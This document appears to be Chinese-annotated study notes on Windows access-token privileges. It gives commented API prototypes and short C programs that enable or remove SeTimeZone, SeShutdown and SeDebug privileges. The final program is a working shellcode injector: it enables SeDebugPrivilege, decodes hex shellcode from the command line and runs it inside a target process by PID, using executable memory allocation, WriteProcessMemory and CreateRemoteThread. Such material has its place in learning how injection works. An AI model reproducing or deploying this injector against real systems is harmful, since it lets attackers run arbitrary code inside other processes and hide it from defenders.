BOOL OpenProcessToken(
  HANDLE  ProcessHandle,		
  //要修改令牌的进程的句柄，可以用OpenProcess得到
  DWORD   DesiredAccess,		
  //要对令牌进行的操作
  PHANDLE TokenHandle
  //指向一个句柄的指针，用于标识当函数返回时新打开的访问令牌，个人理解就是先把当前进程的令牌取出来，之后修改好了再放回去
);

BOOL LookupPrivilegeValue(
  LPCSTR lpSystemName,			
  //这个参数指向要获取特权值的系统名称，如果为NULL就是本地系统
  LPCSTR lpName,
  //指向特权名称，这些都是有宏定义的，可以看下面的截图
  PLUID  lpLuid
  //每个特权在系统中都有一个Luid，这个值会返回上面特权的Luid
);

typedef struct _LUID {
    DWORD LowPart;
    LONG HighPart;
} LUID, *PLUID;

typedef struct _TOKEN_PRIVILEGES {
  DWORD               PrivilegeCount;
  //下面数组中的条数，具体也不知道干啥的，反正只修改一条就传1好了，传两条好像改成2也没用，可能是语法不对
  LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
  //这也是个结构下面再看
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;

typedef struct _LUID_AND_ATTRIBUTES {
    LUID Luid;				//就是Luid传进来
    DWORD Attributes;		//设置启用禁用或移除
} LUID_AND_ATTRIBUTES, * PLUID_AND_ATTRIBUTES;

BOOL AdjustTokenPrivileges(
  HANDLE            TokenHandle,		
  //第一个函数的令牌句柄
  BOOL              DisableAllPrivileges,
  //如果为TRUE禁用所有权限，FLASE则根据(NewState)下面这个参数指向的信息来修改权限
  PTOKEN_PRIVILEGES NewState,
  //传入TOKEN_PRIVILEGES结构的指针
  DWORD             BufferLength,
  //给下面一个结构留一个多少大的空间用来返回
  PTOKEN_PRIVILEGES PreviousState,
  //传回没修改的TOKEN_PRIVILEGES结构
  PDWORD            ReturnLength
  //实际传回的大小
);

#include<Windows.h>
#include<stdio.h>

BOOL EnableSeTimeZonePrivilege(){
	HANDLE Token;
	LUID LuidValue = { 0 };
	TOKEN_PRIVILEGES TP = { 0 };
	BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
	if (Aret == NULL) {
		printf("GetTokenHandle Fail\n");
		return FALSE;
	}
	BOOL Bret = LookupPrivilegeValue(NULL, SE_TIME_ZONE_NAME, &LuidValue);
	if (Bret == NULL) {
		printf("LookupPrivilegeValue Fail\n");
		return FALSE;
	}
	TP.PrivilegeCount = 1;
	TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	TP.Privileges[0].Luid = LuidValue;
	BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
	if (GetLastError() == ERROR_SUCCESS) {
		printf("AdjustToken Success\n");
		return TRUE;
	}
	printf("AdjustToken Fail\n");
	printf("ErrorCode: %d\n", GetLastError());
	return FALSE;
}

int main() {
	EnableSeTimeZonePrivilege();
	system("cmd");
	return 0;
}

#include<Windows.h>
#include<stdio.h>

BOOL RemoveSeShutdownPrivilege(){
	HANDLE Token;
	LUID LuidValue = { 0 };
	TOKEN_PRIVILEGES TP = { 0 };
	BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
	if (Aret == NULL) {
		printf("GetTokenHandle Fail\n");
		return FALSE;
	}
	BOOL Bret = LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &LuidValue);
	if (Bret == NULL) {
		printf("LookupPrivilegeValue Fail\n");
		return FALSE;
	}
	TP.PrivilegeCount = 1;
	TP.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
	TP.Privileges[0].Luid = LuidValue;
	BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
	if (GetLastError() == ERROR_SUCCESS) {
		printf("AdjustToken Success\n");
		return TRUE;
	}
	printf("AdjustToken Fail\n");
	printf("ErrorCode: %d\n", GetLastError());
	return FALSE;
}

int main() {
	RemoveSeShutdownPrivilege();
	system("cmd");
	return 0;
}

#include<Windows.h>
#include<stdio.h>

BOOL EnableSeDebugPrivilege() {
	HANDLE Token;
	LUID LuidValue = { 0 };
	TOKEN_PRIVILEGES TP = { 0 };
	BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
	if (Aret == NULL) {
		printf("GetTokenHandle Fail\n");
		return FALSE;
	}
	BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue);
	if (Bret == NULL) {
		printf("LookupPrivilegeValue Fail\n");
		return FALSE;
	}
	TP.PrivilegeCount = 1;
	TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	TP.Privileges[0].Luid = LuidValue;
	BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
	if (GetLastError() == ERROR_SUCCESS) {
		printf("AdjustToken Success\n");
		return TRUE;
	}
	printf("AdjustToken Fail\n");
	printf("ErrorCode: %d\n", GetLastError());
	return FALSE;
}

int main() {
	EnableSeDebugPrivilege();
	system("cmd");
	return 0;
}

#include <stdio.h>
#include <windows.h>

BOOL EnableSeDebugPrivilege() {
	HANDLE Token;
	LUID LuidValue = { 0 };
	TOKEN_PRIVILEGES TP = { 0 };
	BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
	if (Aret == NULL) {
		printf("GetTokenHandle Fail\n");
		return FALSE;
	}
	BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue);
	if (Bret == NULL) {
		printf("LookupPrivilegeValue Fail\n");
		return FALSE;
	}
	TP.PrivilegeCount = 1;
	TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	TP.Privileges[0].Luid = LuidValue;
	BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
	if (GetLastError() == ERROR_SUCCESS) {
		printf("AdjustToken Success\n");
		return TRUE;
	}
	printf("AdjustToken Fail\n");
	printf("ErrorCode: %d\n", GetLastError());
	return FALSE;
}

int main(int argc, char* argv[]) {
	EnableSeDebugPrivilege();
	char* str = argv[1];
	int code_len = strlen(str) / 2;
	char char_in_hex;
	unsigned char buf[1000];
	for (int i = 0; i < code_len; i++) {
		sscanf_s(str + 2 * i, "%2x", &char_in_hex);
		buf[i] = char_in_hex;
	}
	int process_id = atoi(argv[2]);			//在命令行获取输入的PID
	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
	//获取句柄

	if (process) {		//判断句柄获取是否成功
		printf("OpenProcess Success\n");
		LPVOID base_address;		//定义一个空指针，用来放入VirtualAllocEx的返回值
		base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (base_address) {			//判断是否获取到地址
			printf("base_address:%p\n", base_address);
			//打印获取到的内存的地址

			BOOL ret = WriteProcessMemory(process, base_address, buf, sizeof(buf), NULL);
			if (ret) {
				printf("WriteProcessMemory Success\n");
				DWORD TH;			//定义一个存放线程ID的变量
				HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, 0, &TH);	//注意第四个参数要强制类型转换
				if (ThreadHandle) {
					printf("ThreadInject Success");
				}
				else {
					printf("ThreadInject Fail\n Error Code:%d", GetLastError());
				}
			}
			else {
				printf("WriteProcessMemory Fail\nError Code:%d", GetLastError());
			}
		}
		else {
			printf("VirtualAllocEx Fail\n");
		}
	}
	else {
		printf("OpenProcess Fail\n");
	}
}